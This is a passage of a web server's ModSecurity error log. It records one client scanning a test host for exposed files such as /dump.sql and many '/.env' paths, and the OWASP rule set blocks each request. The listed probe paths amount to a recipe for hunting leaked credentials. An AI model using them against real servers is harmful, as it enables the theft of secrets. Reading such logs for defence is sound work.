&quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhqAAAAAE&quot;]
[Thu Feb 26 01:03:02.215465 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhqAAAAAE&quot;]
[Thu Feb 26 01:03:02.215617 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhqAAAAAE&quot;]
[Thu Feb 26 01:03:02.244595 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/examples/compose/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/examples/compose/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy1AAAAAA&quot;]
[Thu Feb 26 01:03:02.244821 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/examples/compose/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy1AAAAAA&quot;]
[Thu Feb 26 01:03:02.244979 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/examples/compose/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy1AAAAAA&quot;]
[Thu Feb 26 01:03:02.253599 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /e2e/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/e2e/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhqQAAAAE&quot;]
[Thu Feb 26 01:03:02.253844 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/e2e/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhqQAAAAE&quot;]
[Thu Feb 26 01:03:02.253985 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/e2e/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhqQAAAAE&quot;]
[Thu Feb 26 01:03:02.278495 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/postgres/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/postgres/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy1QAAAAA&quot;]
[Thu Feb 26 01:03:02.278717 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/postgres/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy1QAAAAA&quot;]
[Thu Feb 26 01:03:02.278871 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/postgres/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy1QAAAAA&quot;]
[Thu Feb 26 01:03:02.280206 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /en/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/en/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhqgAAAAE&quot;]
[Thu Feb 26 01:03:02.280409 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/en/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhqgAAAAE&quot;]
[Thu Feb 26 01:03:02.280554 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/en/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhqgAAAAE&quot;]
[Thu Feb 26 01:03:02.305527 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/webdav/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/webdav/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy1gAAAAA&quot;]
[Thu Feb 26 01:03:02.305734 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/webdav/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy1gAAAAA&quot;]
[Thu Feb 26 01:03:02.305879 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/webdav/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy1gAAAAA&quot;]
[Thu Feb 26 01:03:02.307052 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /engine/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/engine/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhqwAAAAE&quot;]
[Thu Feb 26 01:03:02.307253 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/engine/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhqwAAAAE&quot;]
[Thu Feb 26 01:03:02.307397 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/engine/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhqwAAAAE&quot;]
[Thu Feb 26 01:03:02.347696 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docs/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy1wAAAAA&quot;]
[Thu Feb 26 01:03:02.347929 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docs/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy1wAAAAA&quot;]
[Thu Feb 26 01:03:02.348082 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docs/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy1wAAAAA&quot;]
[Thu Feb 26 01:03:02.379272 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dodoswap-client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dodoswap-client/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy2AAAAAA&quot;]
[Thu Feb 26 01:03:02.379491 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dodoswap-client/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy2AAAAAA&quot;]
[Thu Feb 26 01:03:02.379646 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dodoswap-client/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy2AAAAAA&quot;]
[Thu Feb 26 01:03:02.409745 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dotfiles/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dotfiles/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy2QAAAAA&quot;]
[Thu Feb 26 01:03:02.409953 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dotfiles/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy2QAAAAA&quot;]
[Thu Feb 26 01:03:02.410135 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dotfiles/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy2QAAAAA&quot;]
[Thu Feb 26 01:03:02.443835 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /download/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/download/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy2gAAAAA&quot;]
[Thu Feb 26 01:03:02.444101 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/download/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy2gAAAAA&quot;]
[Thu Feb 26 01:03:02.444278 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/download/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy2gAAAAA&quot;]
[Thu Feb 26 01:03:02.467520 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/dockers/mariadb-test/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/dockers/mariadb-test/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhrwAAAAE&quot;]
